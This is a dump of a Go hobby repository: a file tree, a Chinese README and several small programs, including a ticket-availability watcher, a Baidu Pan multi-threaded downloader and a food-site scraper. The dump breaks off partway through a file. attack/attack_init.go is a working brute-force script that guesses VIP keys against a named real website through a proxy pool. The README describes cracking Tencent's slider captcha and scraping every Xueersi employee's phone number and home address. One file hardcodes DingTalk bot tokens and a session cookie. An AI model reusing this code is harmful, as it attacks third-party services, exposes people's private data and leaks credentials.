├── .gitignore ├── README.md ├── ascii ├── main.go └── sizeof.go ├── attack └── attack_init.go ├── avengers_movie └── main.go ├── baidu_pan └── baidu_pan_init.go ├── food ├── dictionary.txt ├── fetch.go ├── food_detail.go ├── food_init.go ├── http.go └── mongo.go ├── frame_buffer ├── frame_buffer_init_.go ├── gl.go └── my │ └── gl.go ├── fsnotify ├── go.mod ├── go.sum └── main.go ├── go.mod ├── go.sum ├── leet_code ├── contest123 │ ├── add-to-array-form-of-integer.go │ └── equationsPossible.go ├── former │ ├── addTwoNumbers.go │ ├── calculate.go │ ├── convert.go │ ├── findMedianSortedArrays.go │ ├── isLongPressedName.go │ ├── lengthOfLongestSubstring.go │ ├── longestPalindrome.go │ ├── minFlipsMonoIncr.go │ ├── shortestSubarray.go │ ├── threeEqualParts.go │ └── tow_num_sum.go ├── leet_code_init.go └── ten │ ├── beautifulArray.go │ ├── calculate.go │ ├── climbStairs.go │ ├── maxProfit.go │ └── ten_init.go ├── loader ├── app_map_generator.go ├── apps.go ├── apps.go.tpl └── start.go ├── main.go ├── my_charles ├── my_charles_init.go └── rsa.go ├── projects └── maze │ └── main.go ├── proxy ├── ipPool.go ├── proxy_init.go └── service.go ├── spider_client ├── proxy_pool.go ├── spider_cli.go └── spider_client_init.go ├── tcp_log └── tcp_log_init.go ├── tencent_code ├── 1.jpeg ├── 10.jpeg ├── 11.jpeg ├── 2.jpeg ├── 3.jpeg ├── 4.jpeg ├── 5.jpeg ├── 6.jpeg ├── 7.jpeg ├── 8.jpeg ├── 9.jpeg ├── out.zip ├── out │ ├── 1.png │ ├── 10.png │ ├── 11.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ └── 9.png ├── tencent_code_init.go └── try_chromedp │ └── chromedp.go ├── test ├── idea │ └── queue.go ├── interface.go ├── memory_dump.go ├── mongo.go ├── test_go.go ├── test_init.go └── test_stack.go ├── wasm ├── go_js │ └── main.go ├── public │ ├── app.wasm │ ├── wasm_exec.html │ └── wasm_exec.js └── wasm_init.go ├── xes └── xes_init.go └── yeb_exp ├── callApi.go ├── jsonUa.go ├── userProvider.go ├── util ├── asset.go ├── assets │ ├── inject.js │ └── mouseData.json ├── chromeSession.go ├── getUa.go ├── json.go └── statik │ └── statik.go └── yeb_exp_init.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | peterq.cn.crt 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # small funny project 2 | 3 | > 这个是本人学习go语言的实践小项目,或者验证型实验. 每一个子目录都是一个小项目 4 | 5 | > 仅供学习参考, 请勿作怪, 谢谢合作 6 | 7 | ``` 8 | . 9 | ├── ascii // 任意进制转换 10 | ├── attack // 暴力破解某网站 11 | ├── avengers_movie // 复联4抢票助手 12 | ├── baidu_pan // 百度网盘下载实验 13 | ├── food // 高并发爬取某食物网站数据 14 | ├── frame_buffer // linux 下无桌面环境实现gui 15 | ├── fsnotify // fsnotify 16 | ├── go.mod 17 | ├── go.sum 18 | ├── leet_code // leet_code 刷题记录 19 | ├── loader // 这些小项目的加载器, 用来实现单入口启动 20 | ├── main.go 21 | ├── my_charles // 实现charles功能, 对不同域名自动生成证书, 实现抓取https数据 22 | ├── projects/maze // 迷宫算法实现 23 | ├── proxy // 第一代 http 代理池 24 | ├── README.md 25 | ├── spider_client // 爬虫客户端 + 第二代 http 代理池 26 | ├── tcp_log // 远程日志输出端 27 | ├── tencent_code // 破解腾讯滑动验证 28 | ├── test // 一些测试 29 | ├── wasm // web assmebly 测试 30 | ├── xes // 爬取学而思全体员工手机号及住址 31 | └── yeb_exp // 余额宝体验金助手 32 | ``` 33 | -------------------------------------------------------------------------------- /ascii/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "math" 6 | "strings" 7 | ) 8 | 9 | var sourceMap [62]string 10 | var encodeMap [93]string 11 | var encodeMapRevert = make(map[string]uint8) 12 | 13 | func init() { 14 | str := "abcdefghijklmnopqrstuvwxyz" 15 | str += "ABCDEFGHIJKLNMOPQRSTUVWXYZ" 16 | str += "1234567890" 17 | for idx, ch := range str { 18 | sourceMap[idx] = string(ch) 19 | } 20 | str += "~`!@#$%^&*()_+-=<>,.?/:|\\;'{}[]" 21 | for idx, ch := range str { 22 | encodeMap[idx] = string(ch) 23 | encodeMapRevert[string(ch)] = uint8(idx) 24 | } 25 | } 26 | 27 | func encode(src string) string { 28 | result := "" 29 | for i := 0; i < len(src)-1; i += 3 { 30 | s := src[i : i+3] 31 | temp := decimalToAny(anyToDecimal(s, 62), 93) 32 | log.Println(s, temp, anyToDecimal(s, 62)) 33 | temp = strings.Repeat(encodeMap[0], 2-len(temp)) + temp 34 | result += temp 35 | } 36 | return result 37 | } 38 | 39 | func decode(src string) string { 40 | result := "" 41 | for i := 0; i < len(src)-1; i += 2 { 42 | s := src[i : i+2] 43 | temp := decimalToAny(anyToDecimal(s, 93), 62) 44 | temp = strings.Repeat(encodeMap[0], 3-len(temp)) + temp 45 | result += temp 46 | } 47 | return result 48 | } 49 | 50 | // 10进制转任意进制 51 | func decimalToAny(num, n int) string { 52 | new_num_str := "" 53 | var remainder int 54 | var remainder_string string 55 | for num != 0 { 56 | remainder = num % n 57 | remainder_string = encodeMap[remainder] 58 | new_num_str = remainder_string + new_num_str 59 | num = num / n 60 | } 61 | return new_num_str 62 | } 63 | 64 | // 任意进制转10进制 65 | func anyToDecimal(num string, n int) int { 66 | new_num := float64(0.0) 67 | nNum := len(strings.Split(num, "")) - 1 68 | for _, value := range strings.Split(num, "") { 69 | tmp := float64(encodeMapRevert[value]) 70 | new_num += tmp * math.Pow(float64(n), float64(nNum)) 71 | nNum-- 72 | } 73 | return int(new_num) 74 | } 75 | 76 | func main() { 77 | log.Println(encode("d41d8cd98f00b204e9800998ecf8427e")) 78 | } 79 | -------------------------------------------------------------------------------- /ascii/sizeof.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "unsafe" 6 | ) 7 | 8 | type t1 struct { 9 | a int 10 | } 11 | 12 | type t2 struct { 13 | _ [0]func(string, []string) bool 14 | _ [0]func(string, []string) bool 15 | _ [0]func(string, []string) bool 16 | a int 17 | } 18 | 19 | func main() { 20 | var t11 t1 21 | var t22 t2 22 | log.Println(unsafe.Sizeof(t11)) 23 | log.Println(unsafe.Sizeof(t22)) 24 | } 25 | -------------------------------------------------------------------------------- /attack/attack_init.go: -------------------------------------------------------------------------------- 1 | package attack 2 | 3 | import ( 4 | "funny/spider_client" 5 | "github.com/axgle/mahonia" 6 | "log" 7 | "strconv" 8 | "strings" 9 | ) 10 | 11 | func Init() { 12 | log.Print("attack init") 13 | spider := spider_client.New(1000, 10, 0, true) 14 | for i := 22744; i < 100000; i++ { 15 | go func(i int) { 16 | res, err := spider.Get("http://www.90api.cn/vip.php?key="+strconv.Itoa(584198000+i)+"&sl=1", 0) 17 | if err != nil { 18 | log.Println(err, res, i) 19 | } else { 20 | str := ConvertToString(res.Body, "gbk", "utf-8") 21 | if strings.Index(str, "已过期") < 0 { 22 | log.Println(str, i) 23 | } 24 | } 25 | }(i) 26 | } 27 | select {} 28 | } 29 | 30 | func ConvertToString(src string, srcCode string, tagCode string) string { 31 | srcCoder := mahonia.NewDecoder(srcCode) 32 | srcResult := srcCoder.ConvertString(src) 33 | tagCoder := mahonia.NewDecoder(tagCode) 34 | _, cdata, _ := tagCoder.Translate([]byte(srcResult), true) 35 | result := string(cdata) 36 | return result 37 | } 38 | -------------------------------------------------------------------------------- /avengers_movie/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/json" 7 | "fmt" 8 | "github.com/PuerkitoBio/goquery" 9 | "io/ioutil" 10 | "log" 11 | "net/http" 12 | "net/http/cookiejar" 13 | "net/url" 14 | "strings" 15 | "sync" 16 | "time" 17 | ) 18 | 19 | var globalCtx context.Context 20 | var cancelGlobalCtx context.CancelFunc 21 | var dingUrl = "https://oapi.dingtalk.com/robot/send?access_token=40da525c975c6a7d433eaf85854e12b0a99579348ae54775a382694501b1b7f0" 22 | 23 | //var dingUrl = "https://oapi.dingtalk.com/robot/send?access_token=d50545dca18bcaa92e507c8e27cb1b6f78139050eb40bffeef5cde4303954e47" 24 | var resultUrl = "https://maoyan.com/cinema/15658?poi=80370653&movieId=248172" 25 | var dingBotNotify = newDingBot(dingUrl) 26 | var html []byte 27 | var cookies = []*http.Cookie{ 28 | { 29 | Name: "JSESSIONID", 30 | Value: "23A6BC7FF315CD8A582852A5B17D3136.node1", 31 | }, 32 | } 33 | var result string 34 | var resultLock sync.Mutex 35 | 36 | var httpClient = http.Client{ 37 | Transport: nil, 38 | CheckRedirect: nil, 39 | Jar: nil, 40 | Timeout: 0, 41 | } 42 | 43 | func main() { 44 | log.Println("启动成功") 45 | globalCtx, cancelGlobalCtx = context.WithCancel(context.Background()) 46 | 47 | httpClient.Jar, _ = cookiejar.New(&cookiejar.Options{ 48 | PublicSuffixList: nil, 49 | }) 50 | u, _ := url.Parse("http://jwglnew.hunnu.edu.cn") 51 | log.Println(u, cookies) 52 | httpClient.Jar.SetCookies(u, cookies) 53 | 54 | go checkResult() 55 | go heartBeat() 56 | <-globalCtx.Done() 57 | } 58 | 59 | func checkResult() { 60 | for true { 61 | currentResult := grab() 62 | resultLock.Lock() 63 | resultLock.Unlock() 64 | if result != currentResult { 65 | log.Println("有变化") 66 | result = currentResult 67 | sendToDing("有变化啦!!!!") 68 | } else { 69 | log.Println("没变化") 70 | } 71 | // 每分钟查一次 72 | time.Sleep(time.Minute) 73 | } 74 | } 75 | 76 | func sendToDing(title string) { 77 | resultLock.Lock() 78 | defer resultLock.Unlock() 79 | if len(result) < 5 { 80 | return 81 | } 82 | js := `{ 83 | "msgtype": "markdown", 84 | "markdown": {"title":"", "text":"" }}` 85 | postData := map[string]interface{}{} 86 | json.Unmarshal([]byte(js), &postData) 87 | md := ` 88 | # %s 89 | %s 90 | 91 | ` 92 | md = fmt.Sprintf(md, title, result) 93 | dingBotNotify.sendMarkDown(title, md) 94 | } 95 | 96 | func heartBeat() { 97 | time.Sleep(5 * time.Second) 98 | for true { 99 | nextTime := time.Now().Add(time.Hour * 2) 100 | sendToDing("我还活着, 下次时间:" + nextTime.Format("15:04:05")) 101 | // 2 小时发送一次消息, 用来确认还活着 102 | time.Sleep(2 * time.Hour) 103 | } 104 | } 105 | 106 | func grab() string { 107 | req, _ := http.NewRequest("GET", resultUrl, nil) 108 | resp, err := httpClient.Do(req) 109 | if err != nil { 110 | log.Println(err) 111 | } 112 | bin, err := ioutil.ReadAll(resp.Body) 113 | if err != nil { 114 | log.Println(err) 115 | } 116 | content := string(bin) 117 | doc, _ := goquery.NewDocumentFromReader(strings.NewReader(content)) 118 | return doc.Find("#app > div.show-list.active > div.show-date").Text() 119 | } 120 | 121 | type dingBot struct { 122 | apiUrl string 123 | } 124 | 125 | type tjson map[string]interface{} 126 | 127 | func newDingBot(url string) *dingBot { 128 | return &dingBot{ 129 | apiUrl: url, 130 | } 131 | } 132 | 133 | func (bot *dingBot) sendMarkDown(title, content string) { 134 | postData := tjson{ 135 | "msgtype": "markdown", 136 | "markdown": tjson{ 137 | "title": title, 138 | "text": "# " + title + "\n\n" + content, 139 | }, 140 | } 141 | postRaw, _ := json.Marshal(postData) 142 | resp, err := http.Post(bot.apiUrl, "application/json", bytes.NewReader(postRaw)) 143 | if err != nil { 144 | log.Println(err) 145 | return 146 | } 147 | bin, _ := ioutil.ReadAll(resp.Body) 148 | log.Println(string(bin)) 149 | } 150 | -------------------------------------------------------------------------------- /baidu_pan/baidu_pan_init.go: -------------------------------------------------------------------------------- 1 | package baidu_pan 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "github.com/pkg/errors" 7 | "io" 8 | "log" 9 | "net/http" 10 | "net/url" 11 | "os" 12 | "path/filepath" 13 | "strconv" 14 | "strings" 15 | "sync" 16 | "time" 17 | ) 18 | 19 | func Init() { 20 | log.Println("hello world") 21 | err := addTask("1", 22 | ".", 23 | "http://pcs.dcdn.baidu.com/file/e47f77544ab7145da47a504ab49057e0?bkt=p3-0000a15f7e48b3796d61f707db5b3d321a01&xcode=197eef6f0fcbc0dd090d26bf39a511e2dd2dcb2e6d7f99b7da8f365422d4ea3a4ec35904a24b1de9dfceed65911c34a19717ec4418c70769&fid=2737778138-250528-1033811237124489&time=1541751292&sign=FDTAXGERQBHSKa-DCb740ccc5511e5e8fedcff06b081203-AuUrYsIbv9WFndXk4Ok0uTBCHTY%3D&to=z2&size=1929960833&sta_dx=1929960833&sta_cs=32357&sta_ft=mkv&sta_ct=7&sta_mt=0&fm2=MH%2CNanjing02%2CAnywhere%2C%2Chunan%2Cct&ctime=1420773040&mtime=1541732236&resv0=cdnback&resv1=0&vuk=2737778138&iv=2&htype=&newver=1&newfm=1&secfm=1&flow_ver=3&pkey=0000a15f7e48b3796d61f707db5b3d321a01&expires=8h&rt=pr&r=522045895&mlogid=7251861952334001417&vbdid=1745629073&fin=fate+stay+night%E5%89%A7%E5%9C%BA%E7%89%88.mkv&rtype=1&dp-logid=7251861952334001417&dp-callid=0.1.1&tsl=0&csl=0&csign=Ql1MyhBqm0E3t1Rkdn%2FsUfwU6Hs%3D&so=1&ut=1&uter=-1&serv=1&uc=3252767510&ti=76168191086d6f291a05685e8e79b9cd4cf2231e3f246fe6&by=themis") 24 | log.Println(err) 25 | select {} 26 | } 27 | 28 | var httpClient = http.Client{ 29 | Timeout: 15 * time.Second, 30 | } 31 | 32 | var settings = struct { 33 | ua string 34 | segSize, 35 | coNum int // 每个任务协程数量 36 | }{ 37 | ua: "netdisk;4.6.2.0;PC;PC-Windows;10.0.10240;WindowsBaiduYunGuanJia", 38 | segSize: 1024 * 1024 * 4, // 4 MB 为一个分段 39 | coNum: 16, 40 | } 41 | 42 | type tTask struct { 43 | id, 44 | filename, 45 | tempName, 46 | localPath, 47 | tempPath, 48 | link string 49 | url *url.URL 50 | size int 51 | segLock *sync.RWMutex 52 | state downloadState 53 | } 54 | 55 | type seg struct { 56 | start, len int 57 | finish bool 58 | distributed bool 59 | } 60 | type downloadState struct { 61 | distributedSeg bool 62 | dataOffset int 63 | seg []*seg 64 | } 65 | 66 | var taskMap = new(sync.Map) 67 | 68 | func addTask(id, localPath, link string) error { 69 | err, size, filename, url := checkLink(link) 70 | log.Println(size, filename) 71 | if err != nil { 72 | return errors.Wrap(err, "获取文件信息失败") 73 | } 74 | p, err := filepath.Abs(localPath) 75 | if err != nil { 76 | return errors.Wrap(err, "下载路径错误") 77 | } 78 | t := &tTask{ 79 | id: id, 80 | link: link, 81 | url: url, 82 | size: size, 83 | filename: filename, 84 | tempName: "." + filename + ".tmp", 85 | localPath: p, 86 | segLock: new(sync.RWMutex), 87 | } 88 | t.state.dataOffset = 1 * 1024 // 1KB头部信息 89 | taskMap.Store(id, t) 90 | go handleTask(t) 91 | return nil 92 | } 93 | 94 | func checkLink(link string) (err error, size int, filename string, u *url.URL) { 95 | u, err = url.Parse(link) 96 | if err != nil { 97 | err = errors.Wrap(err, "url 解析错误") 98 | return 99 | } 100 | var res *http.Response 101 | res, err = httpClient.Do(&http.Request{ 102 | URL: u, 103 | Header: map[string][]string{ 104 | "User-Agent": {settings.ua}, 105 | }, 106 | }) 107 | if err != nil || res.StatusCode != 200 { 108 | err = errors.New("访问链接错误, 链接可能已失效") 109 | return 110 | } 111 | log.Println(res.Header) 112 | if cd, ok := res.Header["Content-Disposition"]; ok && len(cd) > 0 { 113 | if strings.IndexAny(cd[0], "attachment;filename=") != 0 { 114 | err = errors.New("不是文件链接") 115 | return 116 | } 117 | filename = strings.Trim(cd[0][len("attachment;filename="):], "\"") 118 | } else { 119 | err = errors.New("不是文件链接") 120 | return 121 | } 122 | if cl, ok := res.Header["Content-Length"]; ok && len(cl) > 0 { 123 | size, err = strconv.Atoi(cl[0]) 124 | } else { 125 | err = errors.New("不是文件链接") 126 | return 127 | } 128 | return 129 | } 130 | 131 | func handleTask(task *tTask) error { 132 | if !(*task).state.distributedSeg { 133 | // 段分配 134 | for start := 0; start < task.size; start += settings.segSize { 135 | lg := settings.segSize 136 | if task.size-start < lg { 137 | lg = 0 138 | } 139 | (*task).state.seg = append((*task).state.seg, &seg{start: start, len: lg, finish: false}) 140 | } 141 | } 142 | // 临时文件句柄 143 | fullName := task.localPath + string(filepath.Separator) + task.tempName 144 | f, err := os.OpenFile(fullName, os.O_WRONLY|os.O_CREATE, 0644) 145 | if err != nil { 146 | return errors.Wrap(err, "无法创建文件: "+fullName) 147 | } 148 | 149 | type mini struct { 150 | task *tTask 151 | seg *seg 152 | buffer *bytes.Buffer 153 | others []io.Writer 154 | err error 155 | } 156 | miniTaskCh := make(chan mini, 1) 157 | miniTaskFinishCh := make(chan mini, 1) 158 | wg := new(sync.WaitGroup) 159 | // 分配任务的协程 160 | go func() { 161 | for { 162 | // 遍历seg状态得到未下载的 163 | (*task).segLock.RLock() 164 | unlocked := false 165 | allDone := true 166 | for _, seg := range (*task).state.seg { 167 | if !seg.finish { 168 | allDone = false 169 | } 170 | if !seg.finish && !seg.distributed { 171 | (*task).segLock.RUnlock() 172 | unlocked = true 173 | seg.distributed = true 174 | miniTaskCh <- mini{task: task, seg: seg, buffer: bytes.NewBuffer([]byte{})} 175 | break 176 | } 177 | } 178 | if !unlocked { 179 | (*task).segLock.RUnlock() 180 | } 181 | if allDone { 182 | close(miniTaskCh) 183 | break 184 | } 185 | } 186 | }() 187 | // 接收数据写入磁盘的协程 188 | go func() { 189 | for mini := range miniTaskFinishCh { 190 | func() { 191 | defer func() { mini.seg.distributed = false }() 192 | if mini.err != nil { 193 | return 194 | } 195 | _, err := f.Seek(int64(mini.seg.start), io.SeekStart) 196 | if err != nil { 197 | log.Println(err) 198 | return 199 | } 200 | _, err = mini.buffer.WriteTo(f) 201 | if err != nil { 202 | log.Println(err) 203 | return 204 | } 205 | mini.seg.finish = true 206 | log.Println("mini finish", *mini.seg) 207 | }() 208 | } 209 | log.Println("下载完成") 210 | }() 211 | // 下载数据的协程, 开启多个 212 | for i := 0; i < settings.coNum; i++ { 213 | wg.Add(1) 214 | go func() { 215 | defer wg.Done() 216 | for mini := range miniTaskCh { 217 | log.Println("new mini", *mini.seg) 218 | rg := fmt.Sprintf("bytes=%d-%d", mini.seg.start, mini.seg.start+mini.seg.len-1) 219 | if mini.seg.len == 0 { 220 | rg = fmt.Sprintf("bytes=%d-", mini.seg.start) 221 | } 222 | req := &http.Request{ 223 | Method: "GET", 224 | URL: mini.task.url, 225 | Header: map[string][]string{ 226 | "Range": {rg}, 227 | "User-Agent": {settings.ua}, 228 | }, 229 | } 230 | res, err := httpClient.Do(req) 231 | if err != nil { 232 | log.Println(err) 233 | mini.err = err 234 | miniTaskFinishCh <- mini 235 | continue 236 | } 237 | l, err := mini.buffer.ReadFrom(res.Body) 238 | if err != nil { 239 | log.Println(err) 240 | mini.err = err 241 | miniTaskFinishCh <- mini 242 | continue 243 | } 244 | log.Println("小段下载完毕", l, err, res.Header) 245 | miniTaskFinishCh <- mini 246 | } 247 | }() 248 | } 249 | // 下载协程全部退出, 关闭任务完成通道, 以便接收协程退出 250 | go func() { 251 | wg.Wait() 252 | close(miniTaskFinishCh) 253 | }() 254 | return nil 255 | } 256 | -------------------------------------------------------------------------------- /food/fetch.go: -------------------------------------------------------------------------------- 1 | package food 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "github.com/huichen/sego" 7 | "gopkg.in/mgo.v2/bson" 8 | "log" 9 | "net/url" 10 | "os" 11 | "strings" 12 | "sync" 13 | "time" 14 | ) 15 | 16 | const sectionSize = 1000 17 | 18 | var insertMap = make(map[int]section) 19 | 20 | type section struct { 21 | sec *[sectionSize]bool 22 | lock sync.Mutex 23 | } 24 | 25 | func noUseWord(word string) bool { 26 | mp := map[string]bool{ 27 | "(": true, 28 | ")": true, 29 | "°": true, 30 | ",": true, 31 | } 32 | _, ok := mp[word] 33 | return ok 34 | } 35 | 36 | func hasInsert(id int) bool { 37 | sectionIndex := id / sectionSize 38 | offset := id - sectionSize*sectionIndex 39 | sec, ok := insertMap[sectionIndex] 40 | if !ok { 41 | insertMap[sectionIndex] = section{sec: &[sectionSize]bool{}, lock: sync.Mutex{}} 42 | sec = insertMap[sectionIndex] 43 | } 44 | return sec.sec[offset] 45 | } 46 | 47 | func markInsert(id int) { 48 | sectionIndex := id / sectionSize 49 | offset := id - sectionSize*sectionIndex 50 | sec, ok := insertMap[sectionIndex] 51 | if !ok { 52 | insertMap[sectionIndex] = section{sec: &[sectionSize]bool{}} 53 | sec = insertMap[sectionIndex] 54 | } 55 | sec.lock.Lock() 56 | sec.sec[offset] = true 57 | sec.lock.Unlock() 58 | } 59 | 60 | func fetchCats() { 61 | foodCh := make(chan SJson, 5) 62 | go receiveFood(foodCh) 63 | for cat := 1; cat <= 12; cat++ { 64 | for page := 1; page <= 10; page++ { 65 | go fetchList(cat, page, foodCh) 66 | } 67 | } 68 | } 69 | 70 | // 搜索关键词循环 71 | func searchKeywordLoop() { 72 | taskCh := make(chan string, 10) 73 | taskOkCh := make(chan string, 10) 74 | foodCh := make(chan SJson, 10) 75 | go receiveFood(foodCh) 76 | go receiveSearchTask(taskCh, taskOkCh, foodCh) 77 | for { 78 | var words []interface{} 79 | err := WordsCollection.Find(bson.M{"searched": false}).Sort("-_id").Limit(100).All(&words) 80 | if err != nil { 81 | log.Println(err) 82 | time.Sleep(1 * time.Second) 83 | continue 84 | } 85 | for _, word := range words { 86 | taskCh <- word.(bson.M)["_id"].(string) 87 | } 88 | <-waitSearchKeywordDone(taskOkCh, len(words), func(s string) { 89 | WordsCollection.Upsert(bson.M{"_id": s}, bson.M{"searched": true}) 90 | }) 91 | } 92 | } 93 | 94 | // 等待一轮关键词搜索完成 95 | func waitSearchKeywordDone(taskOkCh chan string, num int, cb func(string)) chan bool { 96 | done := make(chan bool) 97 | go func() { 98 | for i := 0; i < num; i++ { 99 | str := <-taskOkCh 100 | cb(str) 101 | } 102 | done <- true 103 | }() 104 | return done 105 | 106 | } 107 | 108 | // 搜索一个关键词 109 | func receiveSearchTask(taskCh, taskOkCh chan string, foodCh chan SJson) { 110 | for { 111 | keyword := <-taskCh 112 | go func(keyword string) { 113 | totalPage := 10 114 | for page := 1; page <= totalPage; page++ { 115 | u := fmt.Sprintf("https://food.boohee.com/fb/v1/search?q=%s&page=%d", url.QueryEscape(keyword), page) 116 | str, err := cli.Get(u, 2) 117 | if err != nil { 118 | log.Println(err) 119 | continue 120 | } 121 | log.Println(u, str) 122 | var j SJson 123 | err = json.Unmarshal([]byte(str), &j) 124 | if err != nil { 125 | log.Println(err) 126 | continue 127 | } 128 | if p, ok := j["total_pages"]; ok { 129 | p1 := int(p.(float64)) 130 | if p1 < totalPage { 131 | totalPage = p1 132 | } 133 | } 134 | if items, ok := j["items"]; ok { 135 | for _, item := range items.([]interface{}) { 136 | foodCh <- SJson(item.(map[string]interface{})) 137 | } 138 | } 139 | 140 | } 141 | taskOkCh <- keyword 142 | }(keyword) 143 | } 144 | } 145 | 146 | // 食物条目处理器 147 | func receiveFood(ch chan SJson) { 148 | // 关键词通道 149 | wordsCh := make(chan []string, 10) 150 | go receiveWords(wordsCh) // 关键词处理协程 151 | 152 | // 分词器 153 | var segmenter sego.Segmenter 154 | segmenter.LoadDictionary(strings.Split(os.Getenv("GOPATH"), ":")[0] + "/src/github.com/huichen/sego/data/dictionary.txt") 155 | segmenter.Dictionary() 156 | 157 | for { 158 | food := <-ch 159 | if id, ok := food["id"]; ok { 160 | idInt := int(id.(float64)) 161 | if !hasInsert(idInt) { 162 | delete(food, "id") 163 | FoodsCollection.Upsert(bson.M{"_id": idInt}, food) 164 | markInsert(idInt) 165 | // 分词 166 | if name, ok := food["name"]; ok { 167 | segments := segmenter.Segment([]byte(name.(string))) 168 | output := sego.SegmentsToSlice(segments, false) 169 | wordsCh <- output 170 | } 171 | } 172 | } 173 | } 174 | } 175 | 176 | // 关键字处理 177 | func receiveWords(ch chan []string) { 178 | dealt := make(map[string]bool) 179 | for { 180 | words := <-ch 181 | for _, word := range words { 182 | _, ok := dealt[word] 183 | if len(word) <= 1 || ok || noUseWord(word) { 184 | continue 185 | } 186 | c, err := WordsCollection.FindId(word).Count() 187 | if c == 0 { 188 | err = WordsCollection.Insert(bson.M{"_id": word, "searched": false}) 189 | if err == nil { 190 | } 191 | } 192 | dealt[word] = true 193 | } 194 | } 195 | } 196 | 197 | func fetchList(cat, page int, foodCh chan SJson) error { 198 | url := fmt.Sprintf("https://food.boohee.com/fb/v1/foods?value=%d&kind=group&page=%d", cat, page) 199 | //log.Println(url) 200 | str, err := cli.Get(url, 2) 201 | if err != nil { 202 | return err 203 | } 204 | log.Println(url, str) 205 | var j SJson 206 | err = json.Unmarshal([]byte(str), &j) 207 | if err != nil { 208 | return err 209 | } 210 | if foods, ok := j["foods"]; ok { 211 | for _, food := range foods.([]interface{}) { 212 | foodCh <- SJson(food.(map[string]interface{})) 213 | } 214 | } 215 | return nil 216 | } 217 | -------------------------------------------------------------------------------- /food/food_detail.go: -------------------------------------------------------------------------------- 1 | package food 2 | 3 | import ( 4 | "encoding/json" 5 | "funny/spider_client" 6 | "gopkg.in/mgo.v2/bson" 7 | "log" 8 | "os" 9 | "time" 10 | ) 11 | 12 | var spider *spider_client.Client 13 | 14 | func getDetailLoop() { 15 | 16 | spider = spider_client.New(10, 100, 20*time.Millisecond, false) 17 | ch := spider.GetProxyCh() 18 | addProxyCh := spider_client.RefreshPool(time.Second, ch) 19 | var old bson.M 20 | err := MetaCollection.Find(bson.M{"_id": "proxy"}).One(&old) 21 | if err == nil { 22 | if list, ok := old["list"]; ok { 23 | for _, s := range list.([]interface{}) { 24 | go func(s string) { addProxyCh <- spider_client.Proxy(s) }(s.(string)) 25 | } 26 | } 27 | } 28 | go func() { 29 | for { 30 | list := spider.GetUsingProxy() 31 | log.Println("现在可用代理", len(list)) 32 | MetaCollection.Upsert(bson.M{"_id": "proxy"}, bson.M{"list": list}) 33 | time.Sleep(time.Second * 5) 34 | } 35 | }() 36 | time.Sleep(time.Second * 3) 37 | taskCh := make(chan string, 20) 38 | cal := calulateSpeed() 39 | // 启动1000个任务接受协程 40 | for i := 0; i < 2000; i++ { 41 | go receiveDetailTask(taskCh, cal) 42 | } 43 | 44 | lastMaxId := 0 45 | for { 46 | var tasks []interface{} 47 | err := TaskCollection. 48 | Find(bson.M{"fetched": false, "_id": bson.M{"$gt": lastMaxId}}). 49 | Select(bson.M{"code": 1, "_id": 1}). 50 | Sort("_id").Limit(4000).All(&tasks) 51 | if err != nil { 52 | log.Println(err) 53 | time.Sleep(1 * time.Second) 54 | continue 55 | } 56 | if len(tasks) == 0 { 57 | log.Println("详情爬取完成") 58 | os.Exit(0) 59 | } 60 | lastMaxId = int(tasks[len(tasks)-1].(bson.M)["_id"].(int)) 61 | for _, task := range tasks { 62 | taskCh <- task.(bson.M)["code"].(string) 63 | //log.Println(len(tasks), tasks) 64 | } 65 | } 66 | } 67 | 68 | func calulateSpeed() chan struct{} { 69 | ch := make(chan struct{}) 70 | go func() { 71 | count := 0 72 | total := 0 73 | after := time.After(time.Second) 74 | for { 75 | select { 76 | case <-after: 77 | after = time.After(time.Second) 78 | log.Println("获取速度(条/每秒)", count, "总数", total) 79 | count = 0 80 | case <-ch: 81 | count++ 82 | total++ 83 | } 84 | } 85 | }() 86 | return ch 87 | } 88 | 89 | func receiveDetailTask(codeCh chan string, cal chan struct{}) { 90 | for { 91 | code := <-codeCh 92 | u := "https://food.boohee.com/fb/v1/foods/" + code 93 | //str, err := cli.Get(u, 2) 94 | res, err := spider.Get(u, 10) 95 | str := res.Body 96 | //log.Println(u, str) 97 | if err != nil { 98 | log.Println(err) 99 | continue 100 | } 101 | var j SJson 102 | err = json.Unmarshal([]byte(str), &j) 103 | if err != nil { 104 | log.Println(err) 105 | continue 106 | } 107 | if c, ok := j["code"]; ok && c.(string) == code { 108 | 109 | //log.Println(str) 110 | go func() { 111 | cal <- struct{}{} 112 | return 113 | TaskCollection.Update(bson.M{"code": code}, bson.M{"$set": bson.M{"fetched": true}}) 114 | DetailCollection.Upsert(bson.M{"_id": j["id"]}, j) 115 | }() 116 | } 117 | } 118 | } 119 | 120 | func waitSomeDetailTask(num int, taskOkCh chan string) chan bool { 121 | done := make(chan bool) 122 | go func() { 123 | for i := 0; i < num; i++ { 124 | <-taskOkCh 125 | } 126 | done <- true 127 | }() 128 | return done 129 | } 130 | -------------------------------------------------------------------------------- /food/food_init.go: -------------------------------------------------------------------------------- 1 | package food 2 | 3 | import ( 4 | "log" 5 | ) 6 | 7 | var cli Client 8 | 9 | func init() { 10 | 11 | } 12 | func Init() { 13 | log.Println("food start") 14 | conMongo() // 连接数据库 15 | //defer saveMeta() // 保存元信息 16 | cli = NewClient(2) // 创建全局客户端 17 | //go IpPoolStart() // 启动代理ip池 18 | //loadMeta() 19 | //go saveMetaInterval() 20 | //go fetchCats() // 开始抓取分类 21 | //go searchKeywordLoop() // 开始搜索关键词 22 | go getDetailLoop() // 获取详情 23 | select {} 24 | } 25 | -------------------------------------------------------------------------------- /food/http.go: -------------------------------------------------------------------------------- 1 | package food 2 | 3 | import ( 4 | "funny/proxy" 5 | "gopkg.in/mgo.v2/bson" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "net/url" 10 | "time" 11 | ) 12 | 13 | type Client struct { 14 | httpClient http.Client 15 | reqCh chan *Req 16 | } 17 | 18 | type Req struct { 19 | httpReq *http.Request 20 